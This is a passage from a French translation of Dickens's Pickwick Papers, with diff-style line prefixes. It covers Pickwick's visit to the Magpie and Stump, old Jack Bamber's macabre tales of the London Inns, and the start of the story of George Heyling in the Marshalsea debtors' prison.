+--Pas aussi bien.
+
+--Eh bien, si c'est quelque chose de très-particulier, je puis dire où
+il est. Ainsi je suppose qu'il n'y a pas de mal à le dire. Si vous allez
+à _la Souche et la Pie_ et que vous demandiez au comptoir M. Lowten. Ils
+vous introduiront, et c'est le clerc de M. Perker.»
+
+Avec ces instructions, et ayant appris de plus que l'hôtellerie en
+question était au fond d'une cour, heureusement située entre
+Clare-Market et New Inn, M. Pickwick et Sam descendirent en sûreté
+l'escalier raboteux et se mirent en quête de _la Souche et la pie_.
+
+Cette taverne favorite, consacrée aux orgies nocturnes de M. Lowten et
+de ses compagnons, était ce que des gens ordinaires appellent un
+_bouchon_. Une petite échoppe adossée à la muraille et sous-louée à un
+cordonnier en vieux, marquait suffisamment que le propriétaire de _la
+Pie_ était un homme disposé à gagner de l'argent; en même temps que la
+protection par lui accordée a un vendeur de petits pâtés, qui débitait
+ses chatteries sans crainte d'interruption sur le pas même de la porte,
+démontrait évidemment que ledit propriétaire possédait un esprit
+philanthropique. Deux ou trois pancartes imprimées, faisant allusion à
+du cidre de Devonshire et à de l'eau-de-vie de Dantzig, pendaient aux
+carreaux inférieurs des fenêtres, décorées de rideaux safran, tandis
+qu'un large écriteau noir annonçait, en lettres blanches, au public
+savant, qu'il y avait cinq cent mille barils de double bière dans les
+celliers de la maison, laissant l'esprit dans un état de doute fort
+agréable quant à la direction précise dans laquelle on pouvait supposer
+que cette immense caverne s'étendait dans les entrailles de la terre.
+Nous aurons décrit autant qu'il est nécessaire l'extérieur de l'édifice,
+lorsque nous aurons ajouté que l'enseigne antique étalait la figure à
+moitié effacée d'une _pie_ contemplant attentivement une ligne tortueuse
+de couleur brune, que les voisins avaient été habitués dès l'enfance à
+reconnaître pour la _souche_.
+
+Lorsque M. Pickwick se présenta au comptoir, il fut reçu par une femme
+d'un certain âge qui sortit de derrière un paravent.
+
+«M. Lowten est-il ici, madame?
+
+--Oui, monsieur, il y est. Charley, introduisez le gentleman auprès de
+M. Lowten.
+
+--Le gen'l'm'n peut pas entrer à c't' heure, répondit un jeune Ganymède
+à la tête rousse. M'sieu Lowten i' chante une chanson farce, et ça
+l'interloquerait. Ça ne sera pas bien long, m'sieu.»
+
+Le Ganymède roux avait à peine cessé de parler, lorsque le cliquetis des
+verres et le tonnerre des coups frappés sur la table annoncèrent que la
+chanson était terminée. M. Pickwick engagea Sam à se délasser dans la
+buvette, et suivit son introducteur.
+
+Sur cette annonce: «Un gen'l'm'n pour vous parler, m'sieu.»
+
+Un jeune homme bouffi, qui remplissait le fauteuil au sommet de la
+table, leva la tête, regarda avec quelque surprise dans la direction
+d'où portait la voix, et sa surprise ne fut aucunement diminuée
+lorsqu'il reconnut qu'il ne connaissait nullement l'individu sur lequel
+se reposaient ses yeux.
+
+«Je vous demande pardon, monsieur, dit M. Pickwick, et je suis aussi
+très-fâché de déranger ces messieurs, mais je viens pour une affaire
+pressante. Si vous voulez me permettre de vous entretenir au bout de
+cette chambre pendant cinq minutes, je vous serai fort obligé.»
+
+Le jeune homme bouffi se leva, et, tirant une chaise dans un coin obscur
+de la salle, écouta attentivement le récit des infortunes de M.
+Pickwick. Lorsqu'il fut terminé: «Ah! dit-il, Dodson et Fogg! habiles
+dans la pratique! hommes d'affaires, bien malins, monsieur!»
+
+M. Pickwick admit la malice de Dodson et Fogg, et M. Lowten poursuivit:
+
+«Perker n'est pas dans la ville et n'y reviendra pas avant la fin de la
+semaine prochaine; mais si vous voulez faire défendre à l'action, vous
+n'avez qu'à me laisser cette copie, je pourrai faire tout ce qui est
+nécessaire jusqu'à son retour.
+
+--C'est précisément pour cela que je suis venu ici, répliqua M. Pickwick
+en tendant le document. S'il arrive quelque chose de nouveau vous pouvez
+m'écrire, poste restante, à Ipswich.
+
+--C'est fort bien,» répondit le clerc de Me Perker; et, voyant les
+regards de M. Pickwick se diriger curieusement vers la table, il ajouta:
+«Voulez-vous rester avec nous pour une demi-heure? Nous avons fameuse
+compagnie ce soir. Il y a Samkin, et le premier clerc de _Green_, et
+Smithers, et la chancellerie de Price, et Pimkins, et Thomas... il
+chante à ravir; et Jack Bamber, et beaucoup d'autres. Vous arrivez de la
+campagne, je suppose: voulez-vous vous joindre à nous?»
+
+M. Pickwick ne pouvait laisser échapper une occasion si séduisante
+d'étudier la nature humaine: il se laissa mener vers la table, fut
+présenté formellement à la compagnie, prit un siége auprès du président
+et fit venir un verre de son breuvage favori.
+
+Un profond silence s'ensuivit, contrairement à l'attente de M. Pickwick.
+Enfin son voisin de droite, gentleman qui étalait des boutons de
+mosaïque sur une chemise rayée, lui dit en ôtant avec deux doigts son
+cigare de sa bouche:
+
+«J'espère que cela ne vous incommode pas, monsieur?
+
+--Pas le moins du monde, répliqua M. Pickwick. J'en aime beaucoup
+l'odeur, quoique je ne fume pas moi-même.
+
+--Je serais bien fâché d'en dire autant, observa un autre gentleman du
+côté opposé de la table. Ma pipe, c'est pour moi la table et le
+logement.»
+
+M. Pickwick examina celui qui parlait ainsi et ne put s'empêcher de
+penser que tout aurait été pour le mieux, si sa pipe avait aussi été
+pour lui la blanchissage.
+
+Il y eut une autre pause. M. Pickwick était un étranger, et son arrivée
+avait évidemment refroidi les assistants.
+
+«M. Grundy va régaler la compagnie d'une chanson, dit le président.
+
+--Non, il ne la régalera pas, répliqua M. Grundy.
+
+--Pourquoi? demanda le président.
+
+--Parce que je ne peux pas.
+
+--Vous feriez mieux de dire que vous ne voulez pas.
+
+--Eh bien! alors, parce que je ne veux pas.»
+
+Un autre silence fut occasionné par ce refus positif de régaler la
+compagnie.
+
+«Personne ne nous mettra-t-il en train? dit le président d'un ton
+dubitatif.
+
+--Pourquoi ne nous mettez-vous pas en train vous-même, monsieur le
+président,» fit observer du bout de la table un jeune gentleman avec des
+moustaches, un oeil louche et un col de chemise rabattu.
+
+«Écoutez! écoutez!» cria le fumeur aux joyaux de clinquant.
+
+Le président répliqua: «Parce que je viens de chanter la seule chanson
+que je sache, et que celui qui chante deux fois la même chanson dans une
+soirée est à l'amende d'une tournée.»
+
+C'était une raison sans réplique, aussi fut-elle suivie d'un nouveau
+silence.
+
+M. Pickwick, désirant susciter un sujet qui pût être discuté par tout le
+monde, éleva la voix et parla en ces termes:
+
+«J'ai été ce soir, gentlemen, dans un endroit que vous tous connaissez
+parfaitement sans aucun doute, mais où je n'avais pas mis le pied depuis
+bien des années et que je connais fort peu. Je veux parler de _Gray's
+Inn_. Ces vieux hôtels sont de curieux recoins, dans une grande ville
+comme Londres.
+
+--Par Jupiter, murmura le président à M. Pickwick, vous êtes tombé sur
+un sujet qui fera causer l'un de nous, du moins. Vous allez tirer de sa
+coquille le vieux Jack Bamber. On ne l'a jamais entendu parler sur autre
+chose que sur les _inns_». Il y a vécu si longtemps tout seul qu'il en
+est devenu à moitié fou.»
+
+L'individu dont parlait M. Lowten était un vieux petit homme, aux
+épaules élevées, qui avait l'habitude de se pencher en avant quand il
+était silencieux, et qui, pour cette raison, n'avait pas été remarqué de
+M. Pickwick. Mais lorsque le vieux homme leva sa face jaune et
+décharnée, et fixa sur lui ses yeux gris pleins de finesse et de
+pénétration, notre illustre observateur s'étonna que des traits aussi
+singuliers eussent pu échapper un seul instant à son attention. Un
+sourire chagrin contractait perpétuellement la figure du vieillard; il
+appuyait son menton sur une grande main maigre, dont les ongles étaient
+d'une longueur extraordinaire; son regard pénétrant et fixe luisait sous
+d'épais sourcils grisonnants; enfin il y avait dans toute l'expression
+de sa physionomie quelque chose d'étrange, de sauvage, de rusé, qui
+rendaient son aspect tout à fait repoussant.
+
+Telle était la figure qui se redressa tout à coup et d'où jaillit un
+torrent de paroles brûlantes. Cependant comme ce chapitre est déjà bien
+long, et comme le vieux homme est un personnage notable, il sera plus
+respectueux pour lui et plus commode pour nous, de le laisser parler
+dans un nouveau chapitre.
+
+
+
+
+CHAPITRE XXI.
+
+Dans lequel le vieux homme se lance sur son thème favori, et raconte
+l'histoire d'un drôle de client.
+
+
+«Ha! ha! dit le vieux homme dont nous avons donné une courte description
+dans le précédent chapitre, ha! ha! qui parle des _Inns_?
+
+--C'est moi, monsieur, répondit M. Pickwick. Je remarquais que ce sont
+de vieux endroits bien singuliers.
+
+--_Vous_! repartit le vieux homme d'un ton méprisant. Que pouvez-vous
+savoir du temps où les jeunes gens s'enfermaient dans ces chambras
+solitaires, et lisaient, et lisaient, heure après heure, nuit après
+nuit, jusqu'à ce que leur raison fût altérée par leurs études nocturnes,
+jusqu'à ce que les forces de leur esprit fussent épuisées, jusqu'à ce
+que la lumière du matin ne leur apportât plus ni fraîcheur ni santé; si
+bien qu'ils finissaient par périr après avoir dévoué inutilement leurs
+jeunes énergies à de vieux bouquins desséchés. Vous, qui êtes venu plus
+tard, à une époque toute différente, que savez-vous de cet affaissement
+graduel par une lente consomption, ou de ces ravages rapides de la
+fièvre, résultat de la débauche et de la dissipation, pour les habitants
+de ces chambres sombres? Savez-vous combien de plaideurs, après avoir
+vainement imploré la merci des hommes de loi, s'en sont allés, le coeur
+brisé, chercher du repos dans la Tamise ou un refuge dans la prison? Il
+n'y a pas un panneau, dans les vieilles boiseries, qui ne pût faire un
+récit plein d'horreur sur le roman de la vie, de la vie réelle,
+monsieur! Tout prosaïques que ces hôtels puissent vous sembler
+maintenant, je vous dis qu'ils sont remplis d'affreux mystères; et
+j'aimerais mieux entendre, à minuit, bien des légendes ornées d'un titre
+terrible, que la véritable histoire d'une de ces chambres antiques.»
+
+Il y avait quelque chose de si singulier dans l'énergie soudaine du
+vieillard et dans le sujet qui l'avait réveillé, que M. Pickwick ne
+trouva point de paroles prêtes pour lui répondre. Cependant le
+vieillard, réprimant son impétuosité et reprenant l'air goguenard que
+l'excitation du moment lui avait fait perdre, poursuivit en ces termes:
+
+«Regardez-les sous un autre aspect moins romantique. Quels admirables
+instruments de lente torture! Pensez au pauvre homme qui a dépensé tout
+ce qu'il possédait, qui s'est réduit à la mendicité, qui a rançonné ses
+amis pour entrer dans une profession où il ne gagnera jamais un morceau
+de pain. L'attente, l'espoir, le désappointement, la crainte, le
+malheur, la pauvreté, les espérances anéanties, la carrière perdue, le
+suicide, peut-être, ou mieux encore, l'ivrognerie en guenilles, en
+savates! voilà ce que l'on trouve dans ces sombres demeures. Ne sont-ce
+pas là de drôles d'hôtels, hein?»
+
+Le vieillard se frottait les mains en ricanant, enchanté d'avoir placé
+son sujet favori sous un nouveau point de vue; M. Pickwick le
+considérait avec curiosité, et le reste de la compagnie souriait et
+regardait en silence.
+
+«Vous parlez de vos universités allemandes, poursuivit le petit
+vieillard, pouh! pouh! Il y a assez de poésie ici, à côté de nous, sous
+nos yeux; seulement personne n'y pense.
+
+--Certainement, dit en riant M. Pickwick, je n'ai jamais pensé à la
+poésie de ces endroits-là.
+
+--Sans doute, vous n'y avez pas pensé: naturellement. C'est comme un de
+mes amis qui me disait souvent: «Qu'est-ce qu'il y a de particulier dans
+ces vieilles maisons?--Drôles de vieux endroits, répondais-je.--Pas du
+tout, disait-il.--Solitaires, reprenais-je.--Pas le moins du monde,»
+disait-il. Un matin, comme il allait ouvrir sa porte pour sortir, il
+tomba frappé d'apoplexie foudroyante. Il est tombé la tête dans sa
+propre boîte à lettres. Il resta là pendant dix-huit mois. Tout le monde
+le crut parti de la ville.
+
+--Et comment fut-il trouvé, à la fin? demanda M. Pickwick.
+
+--Comme il n'avait pas payé son loyer depuis deux ans, on se détermina à
+entrer d'autorité. En effet, la serrure fut forcée, et un cadavre
+desséché, en habit bleu, en culotte noire, en bas de soie, tomba dans
+les bras du portier qui ouvrait la porte. C'est drôle, ça? assez drôle
+peut-être? assez drôle, eh?» Et le petit vieillard pencha sa tête encore
+plus sur son épaule, en frottant ses mains avec un indicible plaisir.
+
+«Je sais une autre aventure du même genre, reprit-il, quand sa joie fut
+un peu calmée. Elle arriva dans Clifford's Inn. Un locataire, sous les
+toits, mauvaise réputation, s'enferme dans le cabinet de sa chambre à
+coucher et prend une dose d'arsenic. L'intendant croit qu'il est
+décampé, ouvre sa porte et met écriteau. Un autre homme arrive, loue la
+chambre, la meuble et vient l'habiter. Mais, d'une manière ou d'une
+autre, il ne peut pas dormir. Toujours agité, inconfortable: C'est bien
+drôle! se dit-il. Je ferai ma chambre à coucher dans l'autre pièce, et
+celle-ci sera mon cabinet. Il fait l'échange et dort très-bien la nuit,
+mais soudainement il devient incapable de lire le soir; il se trouve
+nerveux, inquiet, et ne peut rien faire que de moucher sa chandelle ou
+de regarder autour de soi. «Je n'y comprends rien,» se dit-il un soir
+qu'il revenait de la comédie et buvait un verre de grog froid, le dos
+appuyé sur le mur, pour ne pas pouvoir s'imaginer qu'il y eût quelqu'un
+derrière lui. «Je n'y comprends rien,» se dit-il, et justement ses yeux
+s'arrêtent sur le petit cabinet qui était toujours resté fermé en
+dedans. Un frisson le saisit des pieds à la tête. «J'ai déjà éprouvé
+cette étrange sensation, pense-t-il. Je ne puis pas m'empêcher
+d'imaginer qu'il y a quelque mystère dans ce cabinet....» En même temps,
+il fait un effort, rassemble tout son courage, brise la serrure avec le
+fourgon, ouvre la porte, et là, ma foi! il découvre, debout dans un
+coin, le dernier locataire, tenant une petite bouteille dans sa main
+crispée, et dont le visage portait les traces affreuses d'une mort
+violente.»
+
+Ayant ainsi parlé, le vieux homme recommença à ricaner, en promenant ses
+regards refrognés sur les visages étonnés et attentifs de ses auditeurs.
+
+«Quelles choses étranges vous nous dites là, monsieur! s'écria M.
+Pickwick en observant minutieusement les traits du vieillard, au moyen
+de ses lunettes.
+
+--Étranges? reprit celui-ci, nullement. Vous les trouvez étranges parce
+qu'elles sont nouvelles pour vous. Elles sont farces, mais ordinaires.
+
+--Farces! s'écria M. Pickwick involontairement.
+
+--Oui, farces! n'est-il pas vrai?» répliqua le petit vieillard avec un
+ricanement diabolique; et alors sans attendre une réponse, il continua:
+
+«Il y a une quarantaine d'années, je connaissais un autre individu qui
+loua, dans un des plus anciens Inns, un appartement vieux, humide,
+moisi, demeuré vacant et fermé depuis des années, des siècles. Il
+courait une quantité d'histoires de vieilles femmes sur ce logement-là,
+et certainement il était loin d'être gai; mais la pauvreté rongeait
+notre homme, et quand ces chambres auraient été dix fois pires, leur bon
+marché l'aurait décidé. Il fut obligé de racheter quelques vieux meubles
+qui étaient scellés à la muraille, et entre autres une grande armoire à
+papiers, avec de grandes portes vitrées, garnies en dedans de rideaux
+verts. C'était un meuble fort inutile pour lui, car il n'avait pas de
+papiers à y mettre, et quant à ses vêtements il les portait toujours sur
+son dos, sans se fatiguer, encore. C'est bien. Il fait donc porter tous
+ses meubles, et il n'en avait pas la charge d'un brancard; il éparpille
+ses quatre chaises dans la chambre pour leur faire faire, autant que
+possible, la figure d'une douzaine, et, le soir venu, il se met à boire
+auprès du feu le premier verre d'un gallon d'eau-de-vie qu'il avait
+acheté à crédit. Tout en buvant, il se demandait à lui-même si
+l'eau-de-vie serait jamais payée, et dans ce cas, au bout de combien
+d'années, lorsque ses yeux vinrent à tomber sur les portes vitrées de
+l'armoire de chêne. «Ah! se dit-il, si je n'avais pas été obligé de
+prendre ce vilain bahut à l'estimation du vieux brocanteur, j'aurais pu
+avoir pour mon argent quelque chose de plus confortable. Je vous dirai
+ce qui en est, vieille ganache, ajouta-t-il en parlant tout haut à
+l'armoire, seulement parce qu'il n'avait personne autre à qui parler;
+s'il ne fallait pas plus de peine pour briser votre vilaine carcasse
+qu'elle ne me ferait de profit, vous allumeriez mon feu en moins de
+rien.» Il avait à peine prononcé ces paroles qu'un son, ressemblant à un
+faible gémissement, parut sortir de l'armoire. Notre homme en fut
+effrayé d'abord, mais réfléchissant ensuite que ce bruit devait être
+produit par quelque voisin qui rentrait chez lui de bonne humeur, il mit
+ses pieds sur le garde-feu et leva le poker pour remuer le charbon de
+terre. En ce moment le même son fut répété, l'une des portes vitrées
+s'ouvrit lentement et laissa voir, debout dans l'armoire, la figure d'un
+grand homme, couvert de vêtements sales et déchirés. Son visage pâle et
+maigre semblait rongé de chagrin, et il y avait dans la couleur de sa
+peau, dans ses formes de squelette, dans toute sa contenance, enfin,
+quelque chose qui n'appartenait pas à un habitant de ce monde. «Qui
+êtes-vous? balbutia le nouveau locataire devenu plus blanc que sa
+chemise, et balançant toutefois dans sa main le poker, de manière à
+ajuster assez décemment la figure surnaturelle. Qui êtes-vous?--Ne me
+jetez pas ce poker, répliqua le revenant. Vous auriez beau me viser en
+plein, il passerait au travers de moi sans résistance et ne frapperait
+que le fond de l'armoire. Je suis un esprit.--Et que me voulez-vous,
+s'il vous plaît? repartit le locataire d'une voix tremblante.--Dans
+cette chambre, répliqua l'apparition, s'est consommée ma ruine
+terrestre. Dans cette chambre, j'ai été réduit à la mendicité, ainsi que
+mes enfants. Dans cette armoire s'accumulèrent chaque année les papiers
+d'un long, d'un éternel procès. Dans cette chambre, lorsque je mourus de
+chagrin, de désespoir, deux rusés vampires se partagèrent les richesses
+pour lesquelles j'avais empoisonné mon existence, et dont ils ne
+laissèrent pas un liard à mes pauvres enfants. Je les ai si bien
+épouvantés que je les ai fait déguerpir de ces lieux; et depuis, afin de
+revoir le théâtre de mes longues misères, j'y reviens toutes les nuits,
+seule époque où je puisse encore visiter votre planète. Cet appartement
+est à moi. Laissez-le-moi.--Si vous insistez pour revenir dans cette
+chambre, répondit le locataire, qui avait eu le temps de se recueillir
+pendant le prolixe récit du revenant, je vous en quitterai la possession
+avec le plus grand plaisir; mais, si vous me le permettez, je désirerais
+vous adresser une question.--Parlez, dit l'esprit d'une voix sévère.--Eh
+bien! reprit notre homme, je ne veux pas vous appliquer personnellement
+mon observation, puisqu'elle est commune à tous les esprits dont j'ai
+entendu parler, mais il me semble un peu... inconséquent, que vous
+reveniez toujours exactement aux lieux où vous avez été le plus
+malheureux, lorsque vous avez la facilité de visiter les plus beaux pays
+de la terre, puisque l'espace ne doit rien être pour vous.--Ma foi! cela
+est vrai! je n'y avais jamais pensé, répliqua le revenant.--Vous voyez,
+monsieur, poursuivit le locataire, que cette chambre est bien misérable.
+D'après l'apparence de cette armoire, j'oserais dire qu'il n'y manque
+point de punaises; et réellement j'imagine que vous pourriez trouver un
+domicile beaucoup plus confortable, sans parler du climat de Londres,
+qui est extrêmement peu flatteur.--Vous avez tout à fait raison,
+monsieur, répondit l'esprit avec politesse. Je n'avais jamais pensé à
+cela. Je vais essayer immédiatement du changement d'air.» En effet, tout
+en parlant, il commença à s'évanouir; ses jambes étaient déjà
+entièrement disparues, lorsque le locataire le rappela. «Monsieur, lui
+cria-t-il, vous rendriez un bien grand service à la société si vous
+vouliez avoir la bonté de suggérer aux autres ladies et gentlemen qui
+s'occupent à hanter les vieilles maisons, qu'ils pourraient être
+beaucoup plus confortablement ailleurs.--Je n'y manquerai pas, répondit
+le revenant. Il faut en vérité que nous soyons bien bêtes, nous autres
+esprits, pour n'avoir point trouvé cela. Je ne me pardonne point d'avoir
+été si stupide!» En disant ces mots, le revenant disparut, et ce qui est
+remarquable, ajouta le vieux homme en jetant un regard malin autour de
+la table, il ne revint jamais.
+
+«Ce n'est pas mauvais, si c'est vrai, dit l'homme aux boutons de
+mosaïque en allumant un nouveau cigare.
+
+--Si! s'écria le vieillard d'un air excessivement méprisant. Voyez-vous,
+continua-t-il en se tournant vers Lowten, je ne serais pas bien étonné
+qu'il finit par dire que l'histoire du singulier client que nous avions,
+quand j'étais chez l'avoué, n'est pas vraie non plus.
+
+--Oh! cette histoire-là, je n'en dirai rien du tout, car je ne l'ai
+jamais entendue, répondit l'homme aux bijoux de clinquant.
+
+--Monsieur, dit M. Pickwick, je souhaiterais fort que vous voulussiez
+bien nous la raconter.
+
+--Oh! oui, ajouta Lowten, racontez-la. Personne ici ne l'a entendue,
+excepté moi, et je l'ai presque oubliée.»
+
+Le vieux homme regarda autour de la table et ricana plus horriblement
+que jamais, en remarquant l'attention peinte sur tous les visages.
+Ensuite, frottant son menton avec sa main et contemplant le plafond,
+comme pour rafraîchir sa mémoire, il commença ainsi qu'il suit:
+
+HISTOIRE D'UN SINGULIER CLIENT.
+
+Il n'importe guère où ni comment j'ai appris cette courte histoire; si
+je vous la racontais dans l'ordre où je l'ai sue, je commencerais par le
+milieu, et quand je serais arrivé à la conclusion, je retournerais en
+arrière chercher un commencement. Il suffira de vous dire que
+quelques-uns des événements se sont passés devant mes yeux. Quant aux
+autres, _je sais_ qu'ils sont arrivés, et plusieurs personnes encore
+vivantes ne se les rappellent que trop bien.
+
+Dans la grande rue du faubourg de Londres, près de l'église
+Saint-George, et du même côté de la rue, se trouve, comme presque tout
+le monde le sait, une petite prison pour dettes, nommée Marshalsea.
+Quoiqu'elle ne ressemble plus guère à l'infâme cloaque d'autrefois,
+cependant, dans son état amélioré, elle offre encore peu de tentation
+pour les extravagants, peu de consolation pour les imprévoyants.
+L'assassin condamné jouit, dans Newgate, d'une cour plus vaste et plus
+aérée qu'il n'y en a dans la prison de Marshalsea, pour le débiteur
+insolvable.
+
+Que ce soit une idée, que ce soit à cause des vieux souvenirs que me
+rappelle cette partie de Londres, je ne puis la supporter. La rue est
+large; les boutiques sont spacieuses; le bruit des voitures, des
+passants, des industries actives, y résonne depuis le matin jusqu'à
+minuit; mais les rues d'alentour sont étroites et sales; la pauvreté, la
+débauche suppurent de toutes les allées; l'infortune et le besoin sont
+renfermés dans la sombre prison; un air de tristesse, de désolation,
+semble, à mes yeux du moins, être répandu sur les alentours et leur
+communiquer une teinte maladive et dégoûtante.
+
+Bien des gens dont les yeux se sont depuis fermés dans la tombe, ont
+commencé par contempler assez légèrement cette scène, en entrant pour
+la première fois dans la vieille prison de la Marshalsea; car le
+désespoir vient rarement avec les premières atteintes de l'infortune. Le
+nouveau prisonnier se confie aux amis qu'il n'a pas éprouvés encore; il
+se rappelle les nombreuses offres de services qui lui ont été faites,
+lorsqu'il n'en avait pas besoin; dans son inexpérience heureuse, il
+conserve l'espérance, fleur salutaire, que le premier vent de
+l'adversité fait courber à peine, qui se redresse et fleurit de nouveau
+pendant quelque temps, et qui peu à peu se fane et se dessèche sous
+l'influence des désappointements et de l'oubli. Alors les yeux se
+creusent et deviennent hagards; les joues pâles et maigres se collent
+sur les os; le manque d'air et d'exercice, la faim plus terrible encore,
+détruisent le prisonnier. A l'époque dont nous parlons, on pouvait dire,
+sans aucune métaphore, que les pauvres débiteurs pourrissaient dans la
+prison, sans aucun espoir d'en sortir vivants. De semblables atrocités
+n'existent plus au même degré, mais il en reste encore suffisamment pour
+enfanter des misères qui font saigner le coeur.
+
+Il y a trente ans environ, une jeune femme, avec son enfant, se
+présentait de jour en jour à la porte de la prison, dès que le soleil
+paraissait et avec autant de régularité que lui. Elle venait pour voir
+son mari, emprisonné pour dettes; souvent, après une nuit inquiète et
+sans sommeil, elle arrivait à cette porte une heure trop tôt, et alors,
+s'en retournant d'un air doux et résigné, elle menait son enfant sur le
+vieux pont, l'élevait dans ses bras sur le parapet, et lui montrait,
+pour le distraire, la Tamise étincelante sous les rayons du soleil
+levant, et déjà animée par mille préparatifs de travail et de plaisir.
+Mais bientôt elle remettait l'enfant par terre et se prenait à pleurer
+amèrement, car nulle expression d'amusement ou d'intérêt n'était venu
+éclairer le visage pâle et amaigri qu'elle aimait tant à contempler.
+Hélas! ce pauvre enfant ne comptait que des souvenirs d'une seule
+espèce, souvenirs qui se rattachaient à la pauvreté, aux malheurs de ses
+parents. Durant de longues heures, il restait assis sur les genoux de sa
+mère, et considérait avec une sympathie enfantine les larmes qui
+coulaient le long de ses joues; puis il se traînait silencieusement dans
+un coin sombre, où il s'endormait en pleurant. Les pénibles réalités du
+monde, avec ses plus dures privations, la faim, la soif, le froid, tous
+les besoins, étaient à demeure dans sa maison, depuis les premières
+lueurs de son intelligence; et quoiqu'il eût encore les formes de
+l'enfance, il n'en avait plus ni le coeur léger, ni le rire joyeux, ni
+les yeux brillants.
+
+Son père et sa mère étudiaient la pâleur de son visage, et leurs regards
+se rencontraient ensuite avec des pensées de désespoir, qu'ils n'osaient
+exprimer par des paroles. L'homme vigoureux, bien portant, qui aurait pu
+supporter toutes les fatigues d'une vie active, se consumait dans la
+longue inaction, dans l'atmosphère malsaine d'une prison populeuse. La
+femme délicate et fragile s'affaissait sous les maux combinés de
+l'esprit et du corps. Quant au jeune enfant, son coeur était déjà brisé.
+
+L'hiver arriva, et avec l'hiver des semaines entières de pluies froides
+et tristes. La pauvre femme était venue demeurer dans une misérable
+chambre, près de la prison de son mari, et quoique leur pauvreté
+croissante fût la cause de ce changement, elle se trouvait plus heureuse
+alors, car elle était plus près de lui. Pendant deux mois elle vint
+comme à l'ordinaire attendre, avec son enfant, l'ouverture de la porte.
+Un matin, elle ne vint pas: c'était la première fois. Un autre matin,
+elle vint seule: l'enfant était mort.
+
+Ils savent peu, ceux qui parlent légèrement des pertes du pauvre comme
+d'une heureuse cessation de douleurs pour celui qui n'est plus, comme
+d'une économie providentielle pour le survivant; ils savent peu quelle
+agonie causent ces pertes. Un regard silencieux d'affection, quand tous
+les autres regards se détournent froidement; la conscience que nous
+possédons la sympathie d'un être humain, lorsque tous les autres nous
+ont abandonnés: c'est là une consolation, un soutien, un appui, que
+nulle richesse ne peut payer, que ne peut donner nul pouvoir. L'enfant
+était resté, pendant des heures entières, assis aux pieds de ses
+parents, avec ses petites mains pressées dans les leurs; avec son visage
+maigre et pâle levé vers leur visage. Ils l'avaient vu s'étioler de jour
+en jour; mais quoique sa courte existence eût été privée de toute joie,
+quoiqu'il reposât maintenant dans cette paix qu'il n'avait jamais connue
+sur la terre, cependant ils étaient ses parents, et sa perte pénétra
+profondément dans leur coeur.
+
+Il était clair pour ceux qui regardaient la figure épuisée de la jeune
+mère, qu'elle n'avait plus de longues épreuves à subir. Les camarades de
+prison de son mari craignaient de troubler tant de douleurs et de
+misères, et lui laissaient à lui seul la petite chambre qu'il avait
+d'abord partagée avec deux compagnons. La jeune femme l'occupait avec
+lui; elle languissait sans souffrances, mais sans espoir, et sa vie
+s'éteignait doucement.
+
+Un soir elle s'était évanouie dans les bras de son mari, et il l'avait
+portée à la fenêtre ouverte, pour la ranimer par la sensation de l'air.
+La lumière de la lune, en tombant sur son pâle visage, lui montra tant
+d'altération dans ses traits qu'il chancela, comme un faible enfant,
+sous le fardeau qui lui était si cher.
+
+«Asseyez-moi, George,» dit-elle d'une voix faible. Il obéit, et
+s'asseyant auprès d'elle, il couvrit son front de ses mains et fondit en
+larmes.
+
+«Il est bien dur de vous quitter, George; mais c'est la volonté de Dieu,
+et vous devez supporter cela pour l'amour de moi. Oh! combien je le
+remercie de nous avoir pris d'abord notre enfant! Il est heureux; il est
+dans le ciel maintenant. Que serait-il devenu ici, sans sa mère?
+
+--Vous ne mourrez pas, Mary! non, vous ne mourrez pas!» s'écria le mari
+en se levant. Il fit le tour de la chambre, avec violence, en se
+frappant le front de ses poings fermés; puis, se rasseyant auprès de sa
+femme et la supportant dans ses bras, il ajouta avec plus de calme:
+«Remettez-vous, je vous en prie, ma chère enfant. Reprenez courage; vous
+vivrez encore.
+
+--Non, George, non, je le sens bien. Faites-moi mettre près de mon
+pauvre enfant, maintenant; mais promettez-moi que si jamais vous quittez
+cette affreuse demeure, si vous devenez riche, vous nous ferez
+transporter dans quelque paisible cimetière de village, loin, bien loin
+d'ici, pour que nous puissions nous y reposer en paix. Cher George, me
+le promettez-vous?
+
+--Oui, oui, dit le pauvre homme en se jetant à genoux devant elle.
+Répondez-moi, Mary! encore un mot! un regard! un seul!»
+
+Il cessa de parler, car le bras qui serrait son cou était roide et
+pesant. Un profond soupir s'échappa de la poitrine desséchée de la jeune
+femme, ses lèvres remuèrent, un sourire se joua sur son visage, mais les
+lèvres étaient blanches, le sourire devint fixe et glacé: George Heyling
+était seul dans le monde!
+
+Cette nuit, dans le silence et la désolation de sa chambre lugubre le
+misérable époux s'agenouilla auprès de ce qui n'était plus qu'un
+cadavre, et appela Dieu à témoin du serment effroyable qu'il faisait de
+venger la mort de sa femme et de son enfant; de dévouer le reste de son
+existence à ce seul but; d'obtenir une vengeance prolongée et terrible;
+de nourrir une haine éternelle, inextinguible, et d'en poursuivre
+l'objet à travers le monde entier.
+
+Un désespoir surnaturel, une rage démoniaque avaient fait de si affreux
+ravages sur sa figure, dans cette seule nuit, que le lendemain matin ses
+compagnons se reculaient avec effroi lorsqu'il passait auprès d'eux. Ses
+yeux étaient lourds et sanglants, son visage cadavéreux, son corps voûté
+comme par l'âge. Dans la violence de ses angoisses mentales, il avait
+mordu sa lèvre inférieure, et le sang, coulant de la blessure, avait
+souillé son menton, sa cravate, sa chemise. Pas une larme, pas un
+soupir, pas une plainte ne lui échappait; mais l'égarement de ses
+regards, l'irrégularité de ses pas, tandis qu'il arpentait la cour,
+toute sa contenance, enfin, révélait la fièvre qui le dévorait
+intérieurement.
+
+Il était nécessaire que le corps de sa femme fût enlevé sans délai de la
+prison. Il en reçut l'avis avec calme et en reconnut la convenance.
+Presque tous les prisonniers s'étaient assemblés pour voir cet
+enlèvement. Ils se rangèrent des deux côtés lorsque George Heyling
+parut. Il s'avança d'un pas précipité; il se plaça dans un petit espace
+grillé, auprès de la porte d'entrée: la foule s'en retira par un
+sentiment instinctif de délicatesse. Bientôt le cercueil grossier
+descendit, porté lentement sur les épaules de quatre hommes. Un silence
+de mort l'accueillit, rompu seulement par les lamentations des femmes et
+par le bruit des pieds des porteurs sur le pavé. Quand ils atteignirent
+le lieu où se tenait l'époux délaissé, ils s'arrêtèrent. Il étendit sa
+main sur la bière, et arrangeant machinalement le drap qui la couvrait,
+il leur fit signe de continuer. Les guichetiers, sous le portique,
+ôtèrent leurs chapeaux; le cercueil passa; la porte pesante se referma
+par derrière. Heyling regarda d'un air distrait la foule dont il était
+entouré, et se laissa tomber lourdement sur la terre.
+
